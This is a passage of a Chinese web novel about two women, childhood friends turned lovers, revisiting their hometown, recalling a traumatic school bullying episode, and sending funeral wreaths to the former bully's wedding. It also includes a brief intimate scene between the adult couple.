对门奶奶使了个眼色,魏安庆他妈看见两人朝着这边走过来,赶忙小跑迎上去,喊“小毓”。 温晚本来笑嘻嘻,这时瞬间变脸,她张嘴要说话,想起人家没喊她名字,扭头冲着谢舒毓大声吼,“我不许你跟这个人讲话!一个字都不许!” “嗯”一声,谢舒毓换了只手拿花,牵起温晚,径直走过。 魏安庆家换窗换防盗门,有好事的邻居还站在树荫下抱着胳膊看,谢舒毓随便,反正丢人的不是她们。 回家,水龙头开细细一汩,谢舒毓小心清洗躲藏在花蕊深处的黑色小虫,广玉兰花瓣厚实,不怕水,她洗完放在窗口晾着,到处找玻璃瓶插。 灌下大半杯茶水,温晚跑去后阳台,看魏安庆没事人一样坐在院子里打游戏,恨得牙痒痒,心想昨天晚上谢舒毓要是真拿盆给她接了,她现在就能直接泼到他头上。 拉倒。 这种人渣败类,多看一秒都折寿,温晚甩头,哼地走开。 小房间床尾的位置,可以直接穿过客厅,看到前面阳台,温晚本来已经走出房间,忽然想到什么,倒退几步,到床尾位置躺下。 两扇门框正中,谢舒毓背对着她,不知道又在洗什么,从进门水龙头就没休息过。 不生气了,这样远远看着谢舒毓,想到她们已经开始谈恋爱,温晚没办法生气。 她们认识二十多年,竟然到三十岁才开始谈恋爱。 遗憾嘛,当然是有的,可温晚转念一想,未来很长呢。 她们还有下一个二十年,再下一个二十年,再再下一个二十年,再再再…… 嗯,说不好了,哈哈。 总之,她们还在会在一起,佝偻、苍老,却神采奕奕。 她们的房子跟着变老,可能会长出灰尘精灵,有轻微的渗水掉皮,但仍然坚固,年年岁岁,为她们遮风挡雨。 她是个时而精致,时而粗犷的百变老太,而她的老婆,是一个闲不下来的洁癖老太,从早到晚,洗洗涮涮。 “哈哈——”温晚快乐打滚。 谢舒毓把花放在客厅茶几,见温晚不在,走到房间里。 “本来今天想做饭给你吃的,但今天好多事,现在去买菜,肯定都没好肉了。” “菜刀都没有了,还惦记做菜呢。”温晚说她真是个老妈子命。 “对哦。”谢舒毓挠头。 温晚展开双臂,要抱。 顺从靠近,谢舒毓深深拥住她。 家里所有的窗户都开着,穿堂风从南阳台到北阳台,蓝色风铃叮叮当当,声音模糊而幽远,跋山涉水,从遥远的过去赶来。 你看着我,我看着你,几秒后,她们开始接吻。 温晚第一反应,谢舒毓偷偷吃薄荷糖了。 这个家伙,很有心机嘛。 这个吻持续扩大,温晚手虚抱着谢舒毓的头,感受她毛茸茸的发顶拱在心口,学她,十指穿透黑发,感受那柔软的发丝,以及微微汗热的皮肤。 她们穿同款的背心和短裤,但气质迥异,并肩走在路上,可能要多看好几眼才能发现,穿一模一样的衣服。 这是昨天晚上,温晚从衣柜最下面最深处翻出来的。 其实是三套,还有一套在左叶那。 高中毕业那天的暑假,谢舒毓去了一家服装店打工,店里搞大促,她拿了三套回来。 温晚不知道左叶也有,当时就扒光了换上,刚提起裤子,眼睁睁看着谢舒毓又从口袋里拿出一套。 碗大小姐这暴脾气,怎么能忍得了,以为是情侣装,结果人家搞批发。 小背心还没捂热,温晚脱下来摔地上,走了。 谢舒毓捡起,洗干净,藏到柜子最里层。 花短裤是灿烂的向日葵图案,花朵揉皱了,挂在膝弯,有凉风吹过,温晚瑟缩一下。 中途,谢舒毓起身,去床头柜那拿了个东西,回头低头摆弄半天,才重新俯下身。 温晚“嗯”一声,眉头皱起,呼吸渐渐乱了,整张脸红起来。谢舒毓在亲她的嘴角,清清浅浅,温柔至极,下手却特别狠。 她脚背绷直了,快好的时候,谢舒毓跟她额头抵着额头,不说话,也不再亲她,只有很重很烫的呼吸声落在耳朵里,酥麻麻灌进全身。 本能要喊,温晚每次都会控制不住大喊,但昨天,她们在小浴室,洗第二遍澡的时候,谢舒毓警告过,说声音会顺着老旧的下水管道,传遍整个栋楼。 温晚相信是真的,咬紧嘴唇,几乎要咬出血。 后背抵靠在冷冰冰的瓷砖墙,她被折磨得几乎死去,谢舒毓用手指撬开她的嘴,提醒:“你可以喘。” 是啊,是啊,她好笨。 这时,温晚又忘记了。 她深深皱眉,表情痛苦,谢舒毓撤回一点,让她放松。 温晚睁开眼,睫毛挂着泪,颧骨坨红,神色迷离,轻咬唇,要人快些。 手指按在她牙关,谢舒毓还是昨天那句话,然后问她:“记住了吗?” “记住了。”温晚含糊。 “没听清。”谢舒毓有意折磨,啄吻她腮,“再说一遍。” “我可以……”她引颈,最后那个字吞了,化作一股热流,红唇间弹出。 太阳偏西了,温度降下,风里几许凉。 无所事事的初夏,懒洋洋赖在床,听楼上楼下,小孩哭闹,两口子吵架,老年人电视放超大声,有爆香的香气飘进房间。 傍晚,是一天中最为奇妙的一个阶段。 很多时候,傍晚,并不代表结束,而是意味着这一天真正的开始。 结束了整天紧张的工作和学习,脱掉鞋子,放下背包,看天色点点暗下,属于自己的时间终于到来。 温晚的晚,正是傍晚的晚。 她恰在傍晚出生,早春一个明媚的好天,轩然霞举,辉光万道。 昨晚把烧烤弄丢,天刚擦黑,两个人就穿着拖鞋“吧嗒吧嗒”去摊前等。 “还在烧炭。”老板抱歉笑笑。 “没事。”温晚摆摆手,小桌边落座。 谢舒毓买饮料去了,今天她们专程下来吃,吃新鲜的热乎的。 这里的环境比那天的烤鱼摊子清静不少,平日多是附近住户光顾,节奏相对要慢。 温晚托腮看行道上人流熙攘,心中久违的平静。 她们完全忘记了晾在外面的被子枕头,是王奶奶帮她们收上去。 王奶奶还说,魏安庆下午跟他妈吵了一架,直接提着行李箱走了。王奶奶让她们别担心,这几天就痛快放心在家玩。 温晚才不怕,但人走了也好。 谢舒毓带回两瓶冰镇饮料,不同口味,这样她们都可以尝到对方的。 “你怎么不让我控糖呢。”温晚想起许徽音,那是另外一个老妈子,比谢舒毓恐怖十倍,不,百倍! “还控糖,我们每天活得那么累,喝点饮料怎么了。” 谢舒毓理直气壮的,“喝多饮料会短命,不喝饮料,不开心也会短命,那不如喝个饱。” “再说,又没有常常在喝。”她叽叽咕咕安慰自己,“好少的。” 温晚看着她笑。 不久,烧烤摊又来一位客人,是开澡堂的大姨。 “呦,都在呢。”大姨主动跟她们打招呼。 谢舒毓默默吃串,低头不语,温晚“咯咯咯”笑成一只珍珠鸡。 本来,谢舒毓以为,这顿饭结束,她们不会再见,但有时,命运就是那般的歹毒,缘分,就是如此的奇妙。 两人吃饱回家,准备洗澡看部电影睡觉,都脱光了站到浴室里,发现热水器坏了。 明明昨晚还好好的,水虽是小了点,能放出来,水温也勉强合适。 谁知,竟是回光返照,今天彻底不行了,谢舒毓调试几次,无果,只能带着温晚,再一次前往“美美洗浴”。 “又见面了。” 大姨在啃烤鸡爪,小拇指戳一下平板,电视剧按暂停,“就办个会员呗,预存五十,下次放假回来还能用。” 谢舒毓扫了二十过去,“不了,我明天就找人来修热水器。” 下次,下次是什么时候,鬼知道。 大姨神秘一笑,“打个赌,明天你们肯定还来。” 温晚凑近,“什么说法?” 小拇指再戳一下平板,大姨继续看剧,“不告诉你。” “切!”温晚超大声。 当时,她们都不以为意,殊不知,命运的齿轮已经悄悄开始转动。 第54章 《那祝福你们》 蓝色风铃挂回小房间窗边,她们离开之前,会一直陪在这里。 她们离开之后,也不会被抛弃。 早上七点,两人睡眼惺忪爬起,胡乱洗漱过出门,连头发都没怎么梳,就为去小学校门口吃早餐。 听说现在还有一块钱一根的烤肠,两块钱一碗的泡面,更有小作坊出品,地沟油和废纸壳制成的五毛钱一包辣条无数。 关于辣条身世,来自当年的李老师。真实性有待考证。 一路紧赶慢赶,生怕好吃的全被小学生抢光,到地方一看,附近几家店铺,卷帘门大关,唯有门前积年累月清洗不去的斑驳油渍,证明它们存在过。 只有文具店还开着,温晚上前询问,对方一脸好笑,“为啥子,还能为啥子,放假了嘛!” “放假……” 她们恍然大悟。 回头看紧闭的学校大门,四处空空荡荡,连片垃圾也没有。 门头上高悬“实验一小”四字,左右花坛,大片的太阳花还开着,五彩颜色,风中骄傲。 从学校右手边的斜坡下去,见有家包子铺开着,一人一个肉包一杯豆浆,填饱肚子。 就站在店门前吃,温晚说:“这地方原来卖奶茶的,你还记得不。” “奶茶在一中。”谢舒毓道。 温晚狐疑扭头,附近几栋旧楼来来回回看了好几遍,眉间充满困惑。 “我们家包子铺开了二十年。”铺子里戴白帽的老头说。 “可以去看看。”谢舒毓吃得快,豆浆几口喝完,回文具店门口买纸。 温晚紧跟着,“那我们先在小学校里看看,咋样?” 谢舒毓回头笑了下,两人心照不宣。 文具店有很多好看的小本子、水性笔,奇形怪状的橡皮,以及各种充满趣味,却明显粗制滥造的小玩具。长大后,她们变得恶毒挑剔。 “开了二十年还没倒闭,老头怎么做到的。” 温晚说刚才的包子,“好难吃。” “豆浆还行,不是豆浆粉冲的,已经很良心了,也不是很甜。” 谢舒毓想想补充,“估计舍不得放糖。” 她们在文具店大声说包子铺的坏话,温晚一拍大腿,说难怪,“难怪我对这家包子没印象,肯定是因为难吃,上过一次当就不买了。” “结果二十多年后,又上一次当。”谢舒毓选了几只好看的笔,回头问她要不要。 温晚点头,她蹲在店门口,篮子里很多明星、二次元和乙游周边,跟她们那时候一样,不同是换了人。各种意义上的。 门口结账,文具店老板给她们指了条明路,“拐角过去,那家烤饼好吃。” “幸好还留着肚子。”温晚揽住谢舒毓走出门,欠身,“包子你刚才没吃两口吧,转身就拿去丢了。” 谢舒毓掩唇笑,温晚好气,“就我站他店门前傻乎乎吃完了。” 第一口她意识到不对劲,皮特别干,第三口还没咬到馅,她抬起脸,见铺子里老头一脸慈祥,没好意思说。 烤饼也是两块一个,外皮酥酥脆脆,里头又被汤汁浸泡得香软,肉馅更为丰厚。 温晚这次学乖,先买一个尝尝,好吃再买第二个。 两片小嘴油油亮亮,她呲牙笑,说“好吃”,把剩的皮递给谢舒毓,“还要。” 谢舒毓边吃边骂,“我是你的潲水桶怎么的。” 吃完一路上坡,往人家小区走,谢舒毓记得,小区里有片矮墙翻过去,可以绕路到学校。 谢舒毓逃课,是从五年级开始,那时候胆子还小,都是装病,不是肚子痛就是头疼,两个人打配合换着来,因为学习还不错,老师从来没怀疑过。 上学的时候不愿意在学校里待着,周六周天,却常常跳墙进来玩。 温晚喜欢翻东西,谢舒毓陪她,她们一个班一个班搜,走廊上窗户忘关的,可以直接推开爬进去,落地先去讲台,看里头有没有被老师没收的玩具,手里摆弄一阵,放回去,再往教室最后排走,这样一眼就能看出哪张桌子里有东西。 天气晴朗的日子,她们并排坐在人家课桌上看漫画,看小说,累了就躺平闭着眼休息。 走的时候,东西放回去,谢舒毓还会拿纸巾把踩脏的板凳桌子都擦干净。 一直到小学毕业,没被发现过。 确实挺好玩的,像探险,而且谢舒毓发现,别班,甚至全校,包括高年级以及广场上的黑板报,都没她出得好。 见到好的创意,她会暗暗记下,争取超越,成为自己心目中的第一。 温晚是个充满好奇心和探索欲的小孩。 ——“这个班饮水机是放在窗边的。” ——“这个班垃圾好多,她们值日生不会掏桌洞吗?” ——“这个班好臭,不看了。” ——“我知道六年级二班的班花喜欢谁。” 温晚还去过男厕所。 男厕所到底是什么样的,这个问题,从小学一年级就困扰着温晚,她一开始翻墙进学校,就是为了看男厕所。 谢舒毓捏着鼻子,发誓说打死她也不干,温晚威逼利诱,最后答应连着买半年的《故事会》,才把人哄进去。 看完出来,温晚感觉亏了,“男厕所也没什么稀奇的嘛。” 她商量着,“两个月行不行?” 谢舒毓扭屁股就走。 “我买!我买!”温晚急忙去追。 如今故地重游,半坡上就发现小学校大变样,盖了新的教学楼,操场扩宽数倍,鲜花绿树,四处粲然可观。 “还有塑胶跑道,现在小孩真幸福,我们那时候只有一个光光的水泥坝。”温晚感慨。 变了,都变了,那堵矮墙也找不到,而且现在到处有监控,即便真翻墙进去,也很快会被学校保安逮住。她们才从派出所出来。 “小区里也很好玩嘛!”温晚很快找到新乐子。 她兴致勃勃,看人家晒在家门口的棉褥子,上面有小孩大片干掉的尿渍。 土花盆里的植物,谢舒毓跟她说得多了,她都记住了,月季没打顶,长得一人多高,花朵硕大却稀疏。 天竺葵凑近了闻,臭臭的,却是非常优秀的园艺花卉,因为叶片散发出的特殊味道,避免许多虫害。 朱顶红杆子长长,花像一个个大喇叭,各自朝不同方向,花大红颜色,花瓣中间有白色条纹,艳而不俗。 小区里还有很多流浪猫,聚集在空地,对人毫无防备,若无其事摊开肚皮睡觉。 谢舒毓身上有一种天然的亲和力,她站在那,没怎么动,就有猫朝她走过去,摔在她腿边。 而她可以完全忍住不摸,酷酷的,就干站着。 “咪咪,咪咪——” 温晚夹着嗓,就差跪在地上给它们磕头,还是没有一只愿意靠近。 改变策略,温晚蹑手蹑脚,走到谢舒毓身边,“喵喵,喵喵——” 谢舒毓脚下那只狸花一咕噜翻身爬起,快步走开。 温晚气死了,像只愤怒的猩猩,朝着猫群呼喊着跑去,猫群惊吓四散。 “人品问题。”谢舒毓表情淡淡,“小猫就知道你不是什么好人。” “你装起来没完了是吧!”温晚假装撸袖,扬拳就要给她一顿暴打。 谢舒毓拔腿就跑。 本来还想去一中看看,走到学校外面一排长楼梯那,看旁边假台湾人卖的大口九奶茶已经变成打印店,温晚摇摇头,“我不想去了。” “那就不去。”谢舒毓说。 温晚点头,揽着人胳膊,心情变得低落,“上个星期,周亦发朋友圈,说宋婷要结婚了,转发的那种电子结婚请柬,日期是今天。” 两人好一阵子没说话。 七拐八拐绕出去,走进一条老步行街,这里还是二十年如一日的喧嚣吵闹,各家店铺使劲浑身解数招揽客人,音箱声开到最大,导购站在门前,塑料巴掌挥出彩虹颜色。 谢舒毓问:“你怎么还有她联系方式?” 温晚皱眉,“什么?” 谢舒毓大声重复一遍,温晚回以同等音量,“不是她,是周亦,我跟你说过的,周亦是我大学同学,也是她邻居。” 这次,故事的主角,是宋婷,一个挺漂亮的女孩子。 温晚在电子请柬里看到她穿白色拖地婚纱,笑容浅浅,跟记忆中那张过分明艳嚣张的脸,怎么也对不上号。 温晚好看,宋婷也好看,以前班里经常为她俩谁是班花而引发热烈讨论。 大体来讲,温晚是个乖孩子,初中三年,除了逃课逛街没干过什么太出格的事。 宋婷喜欢跟男生玩,会抽烟,打台球,骑车,黑网吧常客,课后生活相当丰富。 温晚因为换座位的事,跟谢舒毓吵架,两人有一个多月不来往。 有钱,出手大方,那段时间,温晚挤下宋婷,成为她们那个小团体的中心人物。 如果没有后来的事,温晚觉得挺快乐的。 宋婷带她去网吧,把她介绍给自己的一众哥哥,带她回家吃饭,温晚已经跟谢舒毓分手,还拿她当借口应付爸妈,在宋婷家过夜,躺在房间的小床上,无意知晓了许多酸涩的少女心事。 “他不喜欢我,觉着我小,还觉着我长得黑。”宋婷说。 温晚爬起,捧起她的脸,安慰说:“可是你的眼睛很大,睫毛很长,你长得很漂亮,白皮肤也并不是美唯一的标准,欧美人还美黑呢。” “那有什么用。”宋婷嘟囔着翻身,“他就是不喜欢我。” 温晚触到湿湿的眼泪。 后知后觉,捧脸安慰这种行为,是从谢舒毓身上学来的。谢舒毓常常对她那么做,夸奖,安抚。 小区里再碰见谢舒毓,看她背着书包一个安安静静走在路上,温晚直接跑过去,站她面前,“我现在有新朋友了,没你我照样过得好,你以为你有什么了不起的。” 谢舒毓抬头看她几秒,一句话不讲,低头走开。 温晚不依不饶追上去,“你拽什么拽,你以为你很清高吗?她们都说你装!” 谢舒毓终于忍无可忍回头,“装你还跟我玩。” 她指着小区门口那棵老樟树,眼眶红了,“是你先来找我的,是你先咬我的脸。” “我现在不跟你玩了,我看清你了。”温晚眼睛睁得大大,努力不让泪落,却哭得比谁都惨。 “我有宋婷了,她什么都跟我说,她还教我打台球,你无聊死了,只会看书。” “那祝福你们。”谢舒毓紧了紧书包带,转身走开。 温晚最恨就是她那副风轻云淡的样子,忍不住推了她一把,把她推到地上。 那天谢舒毓迟了一个小时回家,她从地上爬起来,找了个没人角落,脸圈在胳膊里,哭到几乎窒息。 第二天到学校,看温晚和宋婷出双入对,看一大群人哄着从温晚兜里掏钱,众星拱月的,谢舒毓想明白一件事,她们不是一路人。 之后温晚再跑来找,谢舒毓可以做到完全的波澜不惊,无论温晚用从宋婷那里学到的新词如何羞辱,都不为所动。 骂到最后,温晚哭着跑开。谢舒毓不理解她在哭什么。 温晚也说不清楚,问宋婷,宋婷很不高兴,“你还想着那贱人?” “别这样说她。”温晚拉拉她袖子。 “好嘛,你们毕竟在一起过。”宋婷很懂的样子。 女生之间的友谊特别奇怪,温晚以为,她可以跟宋婷一直那么好下去,就像曾经跟谢舒毓那样。 直到宋婷那个开黑网吧的哥,给她送了一束花。 那是温晚第一次收到花,她不懂什么意思,只觉得花很漂亮,懵懵懂懂,看着宋婷笑。 宋婷她哥也在笑,周围一帮人都在笑,还起哄,只有宋婷没笑。 之后宋婷就不带温晚玩了,隔了一个多星期,把她骗到巷子里打,还叫来一个社会上黄头发的姐,脱了她裤子拍照。 就是说,如果没有后来那档子事,看到宋婷结婚,温晚心里应该挺搞笑的,会笑着祝福她。 温晚第一次进派出所,就是因为那事,巷子里楼上住的人报了警,那帮人一个没跑掉。 谢舒毓第一次进派出所,也是因为那事,她用校服外套把温晚包着,紧紧抱在怀里。 从宋婷宣布,要找社会上的姐教训教训温晚,到真的把她教训一顿,中间那一个星期,温晚生不如死。 她几次想找谢舒毓,但谢舒毓怕了她,远远看见,绕道走开。 谢舒毓不要她了,宋婷还要找人打她,温晚每天都做噩梦,又不敢让妈妈知道。 那天下午,谢舒毓代表班级参加语文竞赛去了,班主任也不在,最后一节体育课,宋婷让人给温晚带话,说放学好好谈谈。 温晚知道要被打了,心里反倒松口气,还想着,真被打的话,谢舒毓一定会心疼她,跟她和好。 也是真的熬不住了,早打早收工。 事情结尾,温瑾得知后大发雷霆,几个主谋被退学,那个黄头发的姐也进去了。 所以之后温晚才转到市里上学,谢舒毓成绩好,李老师那边找同学疏通疏通,也送过去。 关于小县城,追忆到此结束。 脚下这条街人来人往那么多年,石板磨得锃亮,日光下如同波光粼粼的河面。 以前总觉得长,现在没两步就到头,耳边聒噪的DJ热曲远去,一家买花圈的小店门前,谢舒毓停在那。 每次说起这事,谢舒毓都很难做到不生气。温晚曾经那样对她。 可她一句都不能说,因为某人下场更为凄惨。 “你生气了。”温晚小心翼翼去牵她手。 还是忍不住,情绪外泄,谢舒毓挣了一下,把手藏在背后。 温晚歪了身子,去找,重新牵住。 再次挣脱,谢舒毓把手揣兜,但她忘了今天穿的裙子,是温晚昨天从柜里翻出来,命令她今天必须穿,一条高中时候买的粉格子百褶裙。 上身搭配超大荷叶领白色娃娃衬衫…… 这套温晚有一模一样的,温瑾给她们买的。 谢舒毓浑身粉粉嫩嫩,却板着脸到处找兜,温晚牵不到她手,心里着急,脸上笑使劲往下压,却怎么压不住,整个人非常矛盾。 前面没兜,后面也没兜,两只手没处藏,谢舒毓干脆举着,举高高的。 她人又高又直,举起手来,像根电线杆子,温晚跳起来够,摸不到,干脆耍赖挂在她脖子上。 “对不起嘛!”温晚仰脸看着她,眼眶有点发红,“我不该那样对你,对不起嘛。” 偏过脸,谢舒毓不看。 很奇怪的一个组合,步行街尽头,一家丧葬用品小店门前站着。 年轻的,老的,半年轻不老的,路过都把她们看着,走出老远还不住回头,不晓得这什么行为艺术。 丧葬店门口坐个老头抽旱烟,也没撵,一脸看透世界的平静。 某个瞬间,谢舒毓觉得旱烟的味道比纸烟好闻多了。 她同时产生一些奇怪的联想,她很喜欢冬天熏腊肉烧柴的味道,医院消毒水的味道,还有新书的油墨味,以及落雨时厚重的泥土味。 温晚也有,谢舒毓记得她说过,挺难以启齿的。 她喜欢穿一天脱下来的bra味,不仅闻自己的,还要闻别人的,说每个人味道都不一样。 但无一例外,都可以称之为奶香味儿。 左叶也被闻过,当时大骂她变态。 脑袋里乱七八糟闪过这些,谢舒毓心情好多了,把手放下来。 “你原谅我了!”温晚立即紧紧抓住。 谢舒毓脸上还是没个笑模样,“只是举累了。” “那是以前不懂事嘛。”温晚可怜巴巴的,“现在不一样了,现在我是你的女朋友,你就不要跟我生气了,好不好?” 好,那就不生气了。 继续走,沿街一直走,反正县城就那么大,她们终究会回到起点。 走到她们曾经淌过水的一条小河边,对面人家围墙上垂下大片凌霄花藤,花开得极盛,焦焦灿灿。 “你打算怎么办。”谢舒毓问,说宋婷结婚那事。 在此之前,她打听过准确的时间地点,县里前几年开的一家四星酒店,下午五点半,婚宴准时开始。 她们越走,离酒店越远。 “都过去了。”走在窄窄的河坎边,温晚声音被吹乱。 “你拿菜刀砍门的时候不是挺厉害的。”谢舒毓走在后面,发誓以后再也不穿这种没兜的衣服,而且这根本不是她的风格! 她双手交叉,环抱胸前,试图减弱部分少女风。 温晚回头,谢舒毓冷冰冰的样子刺了她一下。 “那我能怎么办,跑去婚礼上拿刀乱砍吗?现场那么多人,我肯定打不过。” 顿了顿补充,“我们两个加起来也打不过。” “并不是所有事情都只能通过暴力解决。”谢舒毓说。 “你别管了。”温晚低头抠手指。 她不想去,也不希望谢舒毓去,说她胆小也好,圣母也好,随便,她认了。 顺着那条不到半米宽的河坎,她们竟然一路走到了养老院。 “太好了!我们去看奶奶。”温晚挥舞着双臂跑走。 她们下午哪儿也没去,就在养老院陪奶奶。 温晚牵着,院里一圈圈走,老太太被折腾够呛。 谢舒毓坐在树下长椅看老头下象棋,不时接打电话。 温晚搀着奶奶,嘴里有一搭没一搭应着她的胡话,走半圈,回头看一眼谢舒毓,确定她手边没有菜刀,也没有乱跑。 晚饭她们是在养老院吃的,同一时间,一个叼旱烟的老头,骑辆红色电三轮拖了四个白色花圈送到县里唯一的五星级酒店门口。 酒店门前,有一对等身新人立牌,旁边写了名字。花圈上也是。 老头熄了他的旱烟,脚底板打打灰,下车把花圈送进去,搁在立牌边上。 酒店的人不知道这是闹哪出,老头一把年纪,碰一下就是一套房子首付,他们也不敢上去。 宴会厅里,一对新人听说消息,誓言说到一半,冲到酒店大堂。 老头一问三不算,这些年什么风浪没见过,敢碰我一下试试,躺地上讹不死你们。 温晚收到消息,是下午六点,周亦发了酒店大堂的照片,问:[是你吗?] 什么鬼,温晚回了她三个问号。 周亦说:[即便是,我也不会告诉她的。] 谢舒毓一直在旁看着,这时抢过手机。 [关我屁事。] 确实不关温晚的事。 她有胆拿菜刀砍门,捡砖头砸窗户,替谢舒毓出头,耀武扬威。轮到自己,却蔫了。 周亦下一张截图紧跟着过来,是宋婷朋友圈最新一条内容。 她应该是不知道怎么发纯文字,也不好把婚礼现场的花圈拍出来,配了张无关紧要的宠物狗图片。 [让我知道是谁干的,看我弄不弄你就完了!] [发怒发怒发怒] 谢舒毓笑,“你俩真不愧是曾经的一对挚友,连放狠话都一模一样。” 第55章 诡谲的命运 挚友,曾经。 “怎么人家结婚你都不去。” 手机递还给温晚,谢舒毓习惯性插兜,耍酷没成功,左右两个拳头一下怼到大腿窝。 没关系,再来。她若无其事,改为双手环胸,往椅背悠闲一靠。 “曾经那么要好,每天放学专程在小区门口等,就为骂我。” 只要我不尴尬,尴尬的就是别人,谢舒毓镇定自若,温晚想笑又不敢,“我哪有,我们住一个小区的嘛,你放学都不等我,自己闷头往前走。” “我等你,等着你叫人来打我?”谢舒毓反问。 温晚曾试图跟谢舒毓和好,来个左右拥抱,但谢舒毓就像宋婷说的那样,很“装”,对宋婷那帮人,连个正眼都不给。 在宋婷的干哥哥还没给温晚送花之前,宋婷还是很宠她的,亲自出面撮合,课间,来到谢舒毓桌前,屁股一抬一坐,“给我个面子。” 谢舒毓用鼻孔看她,把保温杯里的水倒在桌上。 牛仔裤湿了一大片,宋婷尖叫跳开,质问你干嘛,谢舒毓默默拿出纸巾擦桌子。 这一幕,温晚印象深刻,她好羡慕谢舒毓不动声色就可以把人气个半死。 后来,市场部田老狗也这样坐到她办公桌,她立即想起谢舒毓当时的做法,很惊喜这辈子还有让她装到的机会。 她也想过,如果当时坐在谢舒毓课桌的不是宋婷,而是她自己,谢舒毓应该不会那么做。 她们很快就会和好,她也不会被拖进巷子里。 总之,谢舒毓实在太狂了,宋婷当天下午宣布,要叫几个高中部的姐过来教训教训她。 温晚一直求情,宋婷拍着她肩膀问,我是为了谁才被那贱人羞辱? 没有放弃周旋,温晚答应给她们钱,试图化解,她们倒知道怎么拿捏她了,贪得无厌。 谢舒毓最后没被打,却不是温晚的钱起了作用,是她自己,主动上门问,她们什么时候来打她,她等不及了。 太狂了,简直狂得没边! 宋婷摔了书,跳起来就要扇,谢舒毓贴着她脸说:“我妈是二中的老师,我们学校的校长和教导主任是她同学,你动我一根汗毛试试。” 对面安静了。 她们一直说她装,这次是真的让她装到了。 谢舒毓看垃圾一样的眼神扫过众人,潇洒转身离去。 温晚记忆中,谢舒毓看到她的时候,眼神微微出现了一些变化。 直到谢舒毓重新回到她身边,用校服外套把她包住,抱在怀里,她重新闻到那股熟悉的淡香,才终于参悟。 是失望。 难以形容当时心中的惶恐。 幸好,兜兜转转,她们还在一起, 许多年以后,她们长大,从朋友变成恋人,宋婷结婚,谢舒毓也体贴送上祝福。 不留神,思绪飘远,温晚转过脸,谢舒毓还在自顾自继续,“结果嘞?结果嘞?” 结果嘞,大家心知肚明。 温晚脑补出她语气表情。 ——“结果还不是要我抱着哄,连去卫生间也跟着,恨不得站在马桶水箱上等。” 谢舒毓曾经原话。 温晚现在不敢忤逆她,人家刚干了一件大事! “嘿嘿”两声,谄媚挨去谢舒毓身边,温晚嗲个小嗓,“你是什么时候订的花圈呀,隐藏好深,我一点没发现。” “你防我防得多紧,特意把我往养老院这边带,怎么会没注意呢,生怕我去人婚礼上闹事吧?” 阴阳怪气,谢舒毓最擅长的。 “我是担心你冲动犯错,为了你的安危着想。” 小脸贴到谢舒毓肩膀,温晚说她是真心的,“我可以为你做任何事,但我不希望你为我冒险,受伤。” “我也可以为你做任何事。”谢舒毓口气淡淡。 最深刻的表白,常常出现在最不经意的时刻,毫无预谋,不是为感动谁,连当事人自己都没发觉,类似随口一句“中午吃什么”。 太阳快落山了,在她们身后,把双影拉得斜长,温晚静静看着地面出神,好像有点懂了。 我不在乎我,是痛疼,哀伤,流血,眼泪。 但我无法对你的一切置之不理。 手机响,谢舒毓拿起看了眼,卖花圈的老头给她发消息,说顺利完成任务。 谢舒毓打字回复,问没伤着吧,老头玩手机玩得挺溜,给她一个周润发点烟表情。 好好好。 步行街尽头,小店门前,谢舒毓当时心里就有了主意,拿手机拍了门头上的电话号码。 到养老院,温晚陪奶奶散步,谢舒毓给老头打电话,老头让她加微信,细说。 谢舒毓让送花圈去酒店,本来以为还得磨磨嘴皮子,老头问都没问,特官方来一句:[需另支付二十元劳务费。] 谢舒毓转了二百过去,老头也没不要,点接收,说:[谢谢老板。] 本来谢舒毓想送六个花圈,老头说四个寓意更好,关键他店里只有四个,还都是旧的样品。 一般这种都得预定,没有说人一死立马买了烧过去,没这规矩,所以现货很少。 行,四个就四个,四面楚歌,四脚朝天,都是好词。 出于谨慎,谢舒毓问道:[假如被捕,对方出双倍价钱,你会被策反,出卖我吗?] 可以说是怂,也可以说是谨慎。 [你这是对我的污蔑。] [年轻人,放心好了。] [再送你副挽联。] 几分钟,老头发了条视频过来。 他找人给他举着手机,他站在桌前,白联上写字。 恩爱夫妻情再续, 泪洒黄泉深不移。 工整规范的正楷字,庄严,肃穆。 谢舒毓把聊天记录翻出来看,温晚在旁边歪个脑袋,冷不丁“嗷”一嗓子,指着老头微信头像,“你不觉得很眼熟吗?” 谢舒毓点开大图,那是幅工笔画,画的荷花,色系清冷,笔触细腻,极为生动立体。 手机像素一般,画面野较为朦胧,但谢舒毓还是一眼认出,这幅画是她家的。 谢舒毓的画是跟他爸学的,他爸是跟奶奶学的,老头微信这幅画叫《出水芙蕖》,以前挂在奶奶住的那间老房子里,后来房子拆了,画就收起来,装进老樟木箱子。 “画还在。”谢舒毓说。 温晚又是一阵嗷嗷,“那我们回去找找吧,把画取了拿去送给他,他肯定很高兴,就当报答他了。” 就说嘛,萍水相逢,要真是一般老头,给再多钱也不一定干。 原来是奶奶的旧相识。 奶奶生病去了养老院,从此跟世界断联,一种奇妙的缘分,又让她们续上了。 真是巧,偏偏就站到他店门口,灵感微妙,偏偏就想到送花圈。 到家时天黑尽了,奶奶的东西都在后阳台,谢舒毓爬到最里面去,找到那口掉漆的老樟木箱子。 揭开箱盖,里头全是奶奶年轻时候的作品,工笔画数量最多,其次是水墨和重彩,还有大大小小各种字,誊抄的经文等等。 两人合力把画卷抱到客厅,一张张小心翼翼展开看,却始终没找到那幅《出水芙蕖》。 温晚把纸重新卷起,收好,谢舒毓再去找,终于从角落翻出一卷挂轴。 奶奶的画是极好的,种种原因,数十年时间,始终难以面世,现在她生了病,有时连自己都忘记,更别说画。 没被拿去当废品卖掉,谢舒毓已经非常感激。 拿干毛巾掸掉外面浮灰,谢舒毓展开挂轴,果然是她们要找的那幅。 纸千年,绢八百,画上芙蕖,栩栩如生。 温晚不懂画,但基本的美丑她能看得出来,照片上已经很好看了,实物更为惊艳。 画上有字——赠湘明。 两人嗅到八卦的味道。 “湘明会不会就是做花圈的那个老头?”温晚手指点唇。 “先问问,别是他自作多情。”谢舒毓说着,拿手机给老头发微信。 [湘明,睡了吗?] 谢舒毓五个字丢过去。 “过于暧昧了吧。”温晚在旁笑抽。 对面显示正在输入,兴许是激动手抖,半天才回消息。 [你们找到那幅画了?] 咦,有戏。 谢舒毓问:[你真的是湘明吗?] 老头说是,谢舒毓说她不信。 [身份证拍我看看。] 聊天框没动静,八成真去找,谢舒毓其实已经确定是他,只是不懂为什么当年送给他的画,最后又回到了奶奶的红漆樟木箱。 两人记忆中,奶奶住的那间老房子里,《出水芙蕖》确实消失过一段时间。 拿上画出门,在老家似乎没有开车的习惯,去哪儿都是两条腿,非常自然,从车边走过。 老头发了张图片过来,谢舒毓点开。 老头是真的老,八十多了,大名却跟“湘明”连个偏旁部首都不挨着。 叫谭正德。 